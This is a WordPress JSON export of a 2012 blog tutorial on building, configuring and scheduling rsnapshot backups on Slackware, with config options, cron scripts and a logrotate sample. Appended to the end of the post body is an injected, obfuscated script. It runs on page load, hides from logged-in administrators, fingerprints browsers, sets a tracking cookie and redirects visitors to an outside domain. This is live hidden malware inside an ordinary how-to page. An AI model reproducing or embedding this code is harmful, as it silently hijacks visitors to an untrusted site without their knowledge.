{"id":157,"date":"2012-02-23T22:18:23","date_gmt":"2012-02-23T14:18:23","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=157"},"modified":"2012-02-23T22:38:24","modified_gmt":"2012-02-23T14:38:24","slug":"backup-restore-using-rsnapshot","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/02\/23\/backup-restore-using-rsnapshot\/","title":{"rendered":"Backup &#038; Restore using rsnapshot"},"content":{"rendered":"<p><a href=\"http:\/\/rsnapshot.org\/\">rsnapshot<\/a> is a superior utility for remote and local backup.  By using <a href=\"http:\/\/www.samba.org\/ftp\/rsync\/rsync.html\">rsync<\/a> and hard links, it could keep multiple full backup by storing only the difference which could preserve a lot of disk space.  Moreover, windows machine could be backup by using SAMBA mount.<br \/>\n<!--more--><br \/>\nThis post is base on Slackware 13.37.<\/p>\n<h1>Building and installation<\/h1>\n<pre>\r\n&gt; .\/configure --prefix=\/usr\/local\/rsnapshot\r\n&gt; make\r\n&gt; make install\r\n<\/pre>\n<h1>Configuration<\/h1>\n<p>The above installation store the configuration file as \/usr\/local\/rsnapshot\/etc\/rsnapshot.conf.  You should modify the options in this file to suit your site.<br \/>\nRemeber, <TAB> should be used as field separator and space is not correct, e.g.,<\/p>\n<pre>\r\nsnapshot_root&gt;TAB&lit;\/mnt\/backup\/rsnapshot\/ #corrent\r\nsnapshot_root \/mnt\/backup\/rsnapshot\/     #wrong\r\n<\/pre>\n<h2>Suggested option<\/h2>\n<pre>\r\nsnapshot_root   \/mnt\/backup\/rsnapshot\/\r\nno_create_root  1\r\nretain        daily   7\r\nretain        weekly  4\r\nretain        monthly 3\r\nlogfile         \/var\/log\/rsnapshot\r\nrsync_short_args        -a\r\nrsync_long_args --delete --numeric-ids --relative --delete-excluded --inplace\r\none_fs          1\r\nlink_dest       1\r\nsync_first      1\r\n<\/pre>\n<h2>Backup points<\/h2>\n<p>rsnapshot support a lot of backup point options, e.g., backup using ssh, rsync, LVM, or even backup the output of a script.  You should refer to the man page for more information.  But I would take the note about you could override the default options for each backup points at the third column, e.g.<\/p>\n<pre>\r\nbackup  root@host.xyz.com:\/home\/xyz\/program\/ host.xyz.com\/   +ssh_args='-p 7001',+rsync_long_args=--bwlimit=3500,+rsync_short_args=-z\r\n<\/pre>\n<p>The example indicate rsnaphot should backup the remote site thru ssh on port 7001 and there are some rsync options specific for the backup point.<\/p>\n<h1>Running the backup<\/h1>\n<p>You may specific some crontab entries to execute the backup.  Or, you may create some shell script and placed them into \/etc\/cron.daily, \/etc\/cron.weekly &#038; \/etc\/cron.monthly.<br \/>\nFor example, the shell script in \/etc\/cron.daily<\/p>\n<pre>\r\n#!\/bin\/sh\r\n\/usr\/local\/rsnapshot\/bin\/rsnapshot sync\r\n\/usr\/local\/rsnapshot\/bin\/rsnapshot daily\r\n<\/pre>\n<p>The shell script in \/etc\/cron.weekly<\/p>\n<pre>\r\n#!\/bin\/sh\r\n\/usr\/local\/rsnapshot\/bin\/rsnapshot weekly\r\n<\/pre>\n<p>The shell script in \/etc\/cron.monthly<\/p>\n<pre>\r\n#!\/bin\/sh\r\n\/usr\/local\/rsnapshot\/bin\/rsnapshot monthly\r\n<\/pre>\n<p>Remmber enable the execute bit of the above script.<\/p>\n<h1>Post installation<\/h1>\n<h2>Roate the rsnapshot log<\/h2>\n<p>In the \/etc\/logrotate,d directory create a file named &#8216;rsnapshot&#8217;, you may take the following as a sample:<\/p>\n<pre>\r\n\/var\/log\/rsnapshot {\r\n  compress\r\n  rotate 10\r\n}\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>rsnapshot is a superior utility for remote and local backup. By using rsync and hard links, it could keep multiple full backup by storing only the difference which could preserve a lot of disk space. Moreover, windows machine could be backup by using SAMBA mount.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27],"tags":[34,35,33],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/157"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=157"}],"version-history":[{"count":11,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/157\/revisions"}],"predecessor-version":[{"id":166,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/157\/revisions\/166"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}